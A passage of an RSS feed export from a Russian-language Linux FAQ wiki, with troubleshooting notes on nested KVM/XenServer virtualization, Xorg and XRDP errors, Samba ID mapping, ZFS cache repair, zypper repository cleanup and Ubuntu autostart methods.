&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2995-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>xenserver-6-2-в-виртуальнои-машине-kvm-на-базе-ubuntu-14-04-nested-guest ...</title>
            <link>https://wiki.autosys.tk/linux_faq/xenserver-6-2-%D0%B2-%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B8-%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D0%B5-kvm-%D0%BD%D0%B0-%D0%B1%D0%B0%D0%B7%D0%B5-ubuntu-14-04-nested-guest-vm-in-kvm</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;преамбула&quot;&gt;Преамбула&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для тестирования разнообразных виртуальных конфигураций обычно требуется несколько физических хостов. Это далеко не всегда удобно, а иногда и невозможно. &lt;br/&gt;

Выход есть - это “вложенные” (nested) виртуальные машины, когда есть гипервизор установленный непосредственно на железо(уровень L0), в нем запускается виртуальная машина с другим гипервизором (уровень L1), а затем в гипервизоре уровня L1 запускаются еще виртуальные машины. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0435\u0430\u043c\u0431\u0443\u043b\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0435\u0430\u043c\u0431\u0443\u043b\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-811&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;возможные_пути_решения&quot;&gt;Возможные пути решения&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Nested виртуализация поддерживается VMWare ESXi 5.x. Об этом есть статьи в интернете. И у меня немного тоже есть - &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/vmware.%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA-%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D1%85-%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D0%B2%D0%B8%D0%B7%D0%BE%D1%80%D0%BE%D0%B2-%D0%B2-esxi-5&quot; class=&quot;wikilink2&quot; title=&quot;linux_faq:vmware.запуск-других-гипервизоров-в-esxi-5&quot; rel=&quot;nofollow&quot; data-wiki-id=&quot;linux_faq:vmware.запуск-других-гипервизоров-в-esxi-5&quot;&gt;Запуск других гипервизоров в ESXi 5&lt;/a&gt;.&lt;br/&gt;

Также “вложенные” гипервизоры можно запускать в KVM. Я попытался сделать это в Ubuntu 14.04. &lt;br/&gt;

Обязательное условие - поддержка процессором технологий Intel VT-x или AMD-V, то есть наличие флага &lt;strong&gt;vmx&lt;/strong&gt; для процессоров Intel или &lt;strong&gt;svm&lt;/strong&gt; для процессоров AMD. &lt;br/&gt;

Посмотреть наличие этих флагов можно в выводе команды:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /proc/cpuinfo&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435_\u043f\u0443\u0442\u0438_\u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;812-1752&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;что_получилось_у_меня&quot;&gt;Что получилось у меня&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я попробывал запустить XenServer 6.2 под ESXi 5.5 и он запустился. Но с ESXi невозможно работать на ноутбуке. &lt;br/&gt;

Решение пришло в виде Ubuntu 14.04 Server + KVM.&lt;br/&gt;

Я поставил Ubuntu 14.04 Server, при установке я указал что хочу KVM host, а затем поставил desktop от KDE. Для управления виртуальными машинами установил virt-manager:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install virt-manager&lt;/pre&gt;

&lt;p&gt;
Дальше оказалось нужно проверить возможность запуска вложенных гипервизоров в KVM. Для этого выполняем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ cat /sys/module/kvm_intel/parameters/nested
Y&lt;/pre&gt;

&lt;p&gt;
Если в вывод &lt;strong&gt;Y&lt;/strong&gt;, значит поддержка вложенных VM уже включена.&lt;br/&gt;

Если нет - делаем как написано тут: &lt;a href=&quot;http://www.rdoxenham.com/?p=275&quot; class=&quot;urlextern&quot; title=&quot;http://www.rdoxenham.com/?p=275&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.rdoxenham.com/?p=275&lt;/a&gt;.&lt;br/&gt;

У меня на свежеустановленной Ubuntu 14.04 все уже было включено.&lt;br/&gt;

Как написано во многих мануалах - в виртуальной машине с гипервизором нужен процессор с поддержкой &lt;strong&gt;vmx&lt;/strong&gt;. Ее можно специально включить либо в &lt;strong&gt;virt-manager&lt;/strong&gt;, указав в конфигурации процессора в &lt;strong&gt;Processor&lt;/strong&gt; → &lt;strong&gt;Configuration&lt;/strong&gt; → &lt;strong&gt;CPU Features&lt;/strong&gt; → &lt;strong&gt;vmx - require&lt;/strong&gt;, либо в конфигурационном xml-файле вирутальной машины в папке &lt;strong&gt;/etc/libvirt/qemu/&lt;/strong&gt; строкой:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;feature policy=&amp;#039;require&amp;#039; name=&amp;#039;vmx&amp;#039;/&amp;gt;&lt;/pre&gt;

&lt;p&gt;
 в секции &lt;strong&gt;cpu&lt;/strong&gt;. &lt;br/&gt;

Итак - я создал виртуальную машину типа Generic, дал ей 4 Gb памяти, включил &lt;strong&gt;vmx&lt;/strong&gt;, в дополнительных свойствах указал &lt;strong&gt;Virt-type: kvm&lt;/strong&gt; и &lt;strong&gt;Architecure: x86_64&lt;/strong&gt; и запустил инсталлятор XenServer 6.2. &lt;br/&gt;

Инсталлятор запустился, я обрадовался, но быстро обломался. При установке XenServer 6.2 инсталлятор бодро сообщал мне что &lt;strong&gt;Hardware virtualization assist support is not available on this system. &lt;/strong&gt;. Это было обидно. Это означало однозначную невозможность запустить в этом гипервизоре Windows. Несколько часов гугления не давали результата. Перебор различных вариантов параметров виртуальной машины под XenServer тоже. &lt;br/&gt;

И вот я обнаружил таких же страдальцев на багтрекере ядра Linux - &lt;a href=&quot;https://bugzilla.kernel.org/show_bug.cgi?id=45931&quot; class=&quot;urlextern&quot; title=&quot;https://bugzilla.kernel.org/show_bug.cgi?id=45931&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugzilla.kernel.org/show_bug.cgi?id=45931&lt;/a&gt;. Они сообщали, что проблема в единственной строке кода и патч будет включен в версию ядра 3.16, а состав Ubuntu 14.04 входит ядро 3.13. К моему счастью я обнаружил, что для Ubuntu вышел релиз-кандидат ядра версии 3.16RC2. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Обновление ядра вышло предельно простым:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-headers-3.16.0-031600rc2_3.16.0-031600rc2.201406220135_all.deb
wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-headers-3.16.0-031600rc2-generic_3.16.0-031600rc2.201406220135_amd64.deb
wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-image-3.16.0-031600rc2-generic_3.16.0-031600rc2.201406220135_amd64.deb
wget kernel.ubuntu.com/~kernel-ppa/mainline/v3.16-rc2-utopic/linux-image-3.16.0-031600rc2-generic_3.16.0-031600rc2.201406220135_amd64.deb
sudo dpkg -i linux-headers-3.16*.deb linux-image-3.16*.deb&lt;/pre&gt;

&lt;p&gt;
В результате я смог установить XenServer 6.2 и запустить в нем виртуальную машину в режиме HVM и в ней установку Windows 7 x64, однако установка зависает в разных местах. Самое большее что пока удалось сделать - дойти до копирования файлов. Хотя, есть подозрение, что XenServer останавливается сам, независимо от того, работают на нем виртуальные машины или нет. Кстати - аналогичное зависание XenServer 6.2 наблюдается и под VirtualBox в среде Windows. Там удается установить какой-нибудь Linux в режиме PV, но потом XenServer виснет в произвольном месте.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Продолжение следует.  
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0443 \u043c\u0435\u043d\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c_\u0443_\u043c\u0435\u043d\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1753-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>xfce_blank_logon_screen_after_suspend_resume</title>
            <link>https://wiki.autosys.tk/linux_faq/xfce_blank_logon_screen_after_suspend_resume</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На системе &lt;strong&gt;Ubuntu 23.10&lt;/strong&gt; + &lt;strong&gt;Lightdm&lt;/strong&gt; + &lt;strong&gt;XFCE4&lt;/strong&gt;. &lt;br/&gt;

После выхода из сна экран черный, но ноубук работает, можно запустить консоли с помощью &lt;strong&gt;Ctrl+Alt+F[1-5]&lt;/strong&gt;. &lt;br/&gt;

Если в консоли выполнить команду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chvt 7; DISPLAY=:0 xrandr --auto&lt;/pre&gt;

&lt;p&gt;
то можно вернуться в сессию. &lt;br/&gt;

&lt;br/&gt;

Однако, как решить эту проблемы системно я пока не понял. Перебор пакетов &lt;strong&gt;lightdm&lt;/strong&gt;, &lt;strong&gt;sddm&lt;/strong&gt;, &lt;strong&gt;xfce4-screensaver&lt;/strong&gt;, &lt;strong&gt;gnome-screensaver&lt;/strong&gt;, &lt;strong&gt;xscreensaver&lt;/strong&gt; результата не давал. &lt;br/&gt;

Однако, в какой-то момент система пришла в норму и проблема ушла. &lt;br/&gt;

Я подозреваю дело в настройках дисплея. 
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sun, 12 Nov 2023 08:59:56 +0000</pubDate>
        </item>
        <item>
            <title>xorg_setup</title>
            <link>https://wiki.autosys.tk/linux_faq/xorg_setup</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;сохранить_текущую_конфигурацию_xorg&quot;&gt;сохранить текущую конфигурацию xorg&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo X :2 -configure&lt;/pre&gt;

&lt;p&gt;
текущая конфигурация сохранится в &lt;strong&gt;~/xorg.conf.new&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e xorg&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c_\u0442\u0435\u043a\u0443\u0449\u0443\u044e_\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e_xorg&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-186&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;с_каким_драйвером_работает_карта&quot;&gt;С каким драйвером работает карта&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;lspci -k| grep -EA2 &amp;#039;VGA|3D&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421 \u043a\u0430\u043a\u0438\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u0440\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441_\u043a\u0430\u043a\u0438\u043c_\u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c_\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442_\u043a\u0430\u0440\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;187-292&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;ошибка_xf86openconsole&quot;&gt;Ошибка xf86OpenConsole&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если при выполнении
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;startx&lt;/pre&gt;

&lt;p&gt;
Встречаются ошибки типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xf86OpenConsole: Cannot open /dev/tty0 (No such file or directory)&lt;/pre&gt;

&lt;p&gt;
или
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xf86OpenConsole: Cannot open virtual console 8 (Permission denied)&lt;/pre&gt;

&lt;p&gt;
Значит нужно сделать так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod u+s /usr/bin/Xorg&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0430 xf86OpenConsole&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0430_xf86openconsole&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;293-651&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;ошибки_abi&quot;&gt;Ошибки ABI&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если при старте Xorg ругается на несовместимость &lt;strong&gt;ABI&lt;/strong&gt;, то можно попытаться отключить эту проверку.
Для этого редактируем &lt;strong&gt;/etc/X11/xinit/xserverrc&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/X11/xinit/xserverrc&lt;/pre&gt;

&lt;p&gt;
и там в строке запуска X после &lt;strong&gt;exec /usr/bin/X&lt;/strong&gt; добавляем опцию &lt;strong&gt;-ignoreABI&lt;/strong&gt;. Получится как-то так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;exec /usr/bin/X -ignoreABI -nolisten tcp &amp;quot;$@&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0438 ABI&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0438_abi&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;652-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>xrdp_troubleshooting</title>
            <link>https://wiki.autosys.tk/linux_faq/xrdp_troubleshooting</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;xrdp_-_голубой_экран_при_подключении&quot;&gt;XRDP - Голубой экран при подключении&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Система - &lt;strong&gt;Ubuntu 18.04&lt;/strong&gt;, в домене &lt;strong&gt;Active Directory&lt;/strong&gt; (samba + winbind). &lt;br/&gt;

При подключении сессии RDP после ввода пароля показывает только голубой (сине-зеленый) экран и сессия не открывается. &lt;br/&gt;

При этом буквально вчера всё работало отлично! Некоторые пользователи нормально логинятся и всё работает. &lt;br/&gt;

В логе &lt;strong&gt;/var/log/xrdp-sesman.log&lt;/strong&gt; примерно такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[20201204-10:44:55] [INFO ] A connection received from ::ffff:127.0.0.1 port 47690
[20201204-10:44:56] [INFO ] ++ created session (access granted): username username, ip ::ffff:10.77.178.183:62533 - socket: 12
[20201204-10:44:56] [INFO ] starting Xorg session...
[20201204-10:44:56] [DEBUG] Closed socket 9 (AF_INET6 :: port 5911)
[20201204-10:44:56] [DEBUG] Closed socket 9 (AF_INET6 :: port 6011)
[20201204-10:44:56] [DEBUG] Closed socket 9 (AF_INET6 :: port 6211)
[20201204-10:44:56] [DEBUG] Closed socket 5 (AF_INET6 ::ffff:127.0.0.1 port 3350)
[20201204-10:44:56] [INFO ] calling auth_start_session from pid 23453
[20201204-10:44:56] [DEBUG] Closed socket 8 (AF_INET6 ::ffff:127.0.0.1 port 3350)
[20201204-10:44:56] [DEBUG] Closed socket 5 (AF_INET6 ::ffff:127.0.0.1 port 3350)
[20201204-10:45:06] [ERROR] X server for display 11 startup timeout
[20201204-10:45:06] [ERROR] X server for display 11 startup timeout
[20201204-10:45:06] [ERROR] another Xserver might already be active on display 11 - see log
[20201204-10:45:06] [CORE ] waiting for window manager (pid 23471) to exit
[20201204-10:45:06] [DEBUG] aborting connection...
[20201204-10:45:06] [CORE ] window manager (pid 23471) did exit, cleaning up session
[20201204-10:45:06] [INFO ] calling auth_stop_session and auth_end from pid 23453
[20201204-10:45:06] [DEBUG] cleanup_sockets:
[20201204-10:45:06] [INFO ] shutting down sesman 1
[20201204-10:45:06] [INFO ] ++ terminated session:  username username, display :11.0, session_pid 23453, ip ::ffff:10.77.178.183:62533 - socket: 12
[20201204-10:45:16] [INFO ] /usr/lib/xorg/Xorg :11 -auth .Xauthority -config xrdp/xorg.conf -noreset -nolisten tcp -logfile .xorgxrdp.%s.log  &lt;/pre&gt;

&lt;p&gt;
То есть системе не удается выполнить команду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/lib/xorg/Xorg :11 -auth .Xauthority -config xrdp/xorg.conf -noreset -nolisten tcp -logfile .xorgxrdp.%s.log&lt;/pre&gt;

&lt;p&gt;
При исследовании выяснилось, что проблема в маппинге пользователей домена на &lt;strong&gt;UID&lt;/strong&gt; в &lt;strong&gt;linux&lt;/strong&gt;. Номера &lt;strong&gt;uid&lt;/strong&gt; и &lt;strong&gt;gid&lt;/strong&gt; почему-то изменились и некоторые доменные пользователи потеряли права на запись в свои домашние директории. &lt;br/&gt;

В &lt;strong&gt;smb.conf&lt;/strong&gt; за мапинг отвечали параметры:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;idmap gid = 10000-20000
idmap uid = 10000-20000&lt;/pre&gt;

&lt;p&gt;
Но это было до версии Samba 4.6. У меня версия 4.7 и там все иначе - &lt;a href=&quot;https://wiki.samba.org/index.php/Idmap_config_ad&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.samba.org/index.php/Idmap_config_ad&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.samba.org/index.php/Idmap_config_ad&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;security = ADS
workgroup = SAMDOM
realm = SAMDOM.EXAMPLE.COM

log file = /var/log/samba/%m.log
log level = 1

# Default ID mapping configuration for local BUILTIN accounts
# and groups on a domain member. The default (*) domain:
# - must not overlap with any domain ID mapping configuration!
# - must use a read-write-enabled back end, such as tdb.
idmap config * : backend = tdb
idmap config * : range = 3000-7999
# - You must set a DOMAIN backend configuration
# idmap config for the SAMDOM domain
idmap config SAMDOM:backend = ad
idmap config SAMDOM:schema_mode = rfc2307
idmap config SAMDOM:range = 10000-999999
idmap config SAMDOM:unix_nss_info = yes

vfs objects = acl_xattr
map acl inherit = yes
store dos attributes = yes&lt;/pre&gt;

&lt;p&gt;
В итоге помогло следующее:
&lt;/p&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Поправил &lt;strong&gt;smb.conf&lt;/strong&gt;.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Дал пользователям права на их домашние директории&lt;pre class=&quot;code&quot;&gt;sudo chown username /home/DOMAIN/username -R &lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 04 Dec 2020 08:56:58 +0000</pubDate>
        </item>
        <item>
            <title>zfs_deduplicate_existing_data</title>
            <link>https://wiki.autosys.tk/linux_faq/zfs_deduplicate_existing_data</link>
            <description>
&lt;p&gt;
Дедупликация zfs работает в процессе записи. &lt;br/&gt;

Если включить дедупликацию на томе, который уже содержит данные, то для высвобождения свободного места необходимо перезаписать все данные, чтобы они дедуплицировались. &lt;br/&gt;

Для этого есть несколько способов:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;a href=&quot;https://github.com/pjd/filerewrite&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/pjd/filerewrite&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/pjd/filerewrite&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 29 Apr 2021 12:38:52 +0000</pubDate>
        </item>
        <item>
            <title>zfs_zil_l2arc</title>
            <link>https://wiki.autosys.tk/linux_faq/zfs_zil_l2arc</link>
            <description>
&lt;p&gt;
На программном зеркальном &lt;strong&gt;raid&lt;/strong&gt;-массиве из двух &lt;strong&gt;SSD&lt;/strong&gt;-дисков &lt;strong&gt;/dev/md2&lt;/strong&gt; располагаются три &lt;strong&gt;logical volumes&lt;/strong&gt; - &lt;strong&gt;swap&lt;/strong&gt;, &lt;strong&gt;ZIL&lt;/strong&gt; для &lt;strong&gt;zfs&lt;/strong&gt; (кэш записи) и &lt;strong&gt;L2ARC&lt;/strong&gt; - кэш чтения. &lt;br/&gt;

Проверим raid-массив и посмотрим число “неправильных” блоков :
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;check&amp;#039; &amp;gt;/sys/block/md2/md/sync_action
cat /sys/block/md2/md/mismatch_cnt&lt;/pre&gt;

&lt;p&gt;
Если число несовпадающих блоков не 0, то отключаем кэши и swap:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zpool status -P
sudo zpool remove pve-data /dev/pve/zfs-zil
sudo zpool remove pve-data  /dev/pve/zfs-l2arc
sudo swapoff -a&lt;/pre&gt;

&lt;p&gt;
Запускаем исправление массива и его проверку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;repair&amp;#039; | sudo tee /sys/block/md2/md/sync_action
watch cat /proc/mdstat
echo &amp;#039;check&amp;#039; | sudo tee /sys/block/md2/md/sync_action
watch cat /proc/mdstat&lt;/pre&gt;

&lt;p&gt;
И снова смотрим число несовпадающих блоков:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /sys/block/md2/md/mismatch_cnt&lt;/pre&gt;

&lt;p&gt;
Теперь там должен быть 0. &lt;br/&gt;

Возвращаем обратно кэши и включаем обратно &lt;strong&gt;swap&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;zpool add pve-data log /dev/pve/zfs-zil
zpool add pve-data cache /dev/pve/zfs-l2arc
swapon -a&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 20 Nov 2021 08:44:20 +0000</pubDate>
        </item>
        <item>
            <title>zypper_tricks</title>
            <link>https://wiki.autosys.tk/linux_faq/zypper_tricks</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;batch_edit_repo_with_zypper&quot;&gt;Batch edit repo with zypper&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Удаление всех репозиториев:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;zypper repos | grep Yes | cut -f3 -d &amp;#039;|&amp;#039; | sed -e &amp;quot;s/ //&amp;quot; | awk &amp;#039;{print &amp;quot;zypper rr &amp;quot; $1}&amp;#039;
zypper repos | grep Yes | cut -f3 -d &amp;#039;|&amp;#039; | sed -e &amp;quot;s/ //&amp;quot; | awk &amp;#039;{print &amp;quot;zypper rr &amp;quot; $1}&amp;#039; | bash&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>автозапуск-в-ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B0%D0%B2%D1%82%D0%BE%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA-%D0%B2-ubuntu</link>
            <description>
&lt;p&gt;
Несколько способов автозапуска приложений в Ubuntu:&lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;etcinitd&quot;&gt;/etc/init.d/&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Первый - из &lt;strong&gt;/etc/init.d/&lt;/strong&gt;. Установка запуска с помощью &lt;strong&gt;update-rc.d&lt;/strong&gt;. Запускается при старте системы, независимо от того вошел ли кто-то в систему или нет. Не подходит для задач, которым нужны ИКСЫ.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/init.d\/&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcinitd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;95-462&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;при_входе_пользователя_в_терминал&quot;&gt;При входе пользователя в терминал&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Запуск при входе пользователя через ssh или запуска терминала - файл &lt;strong&gt;~/.bashrc&lt;/strong&gt; . Другой способ - создать файл &lt;strong&gt;~/.ssh/config&lt;/strong&gt; и добавить опцию &lt;strong&gt;LocalCommand&lt;/strong&gt; (и &lt;strong&gt;PermitLocalCommand&lt;/strong&gt;).  see man ssh_config.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
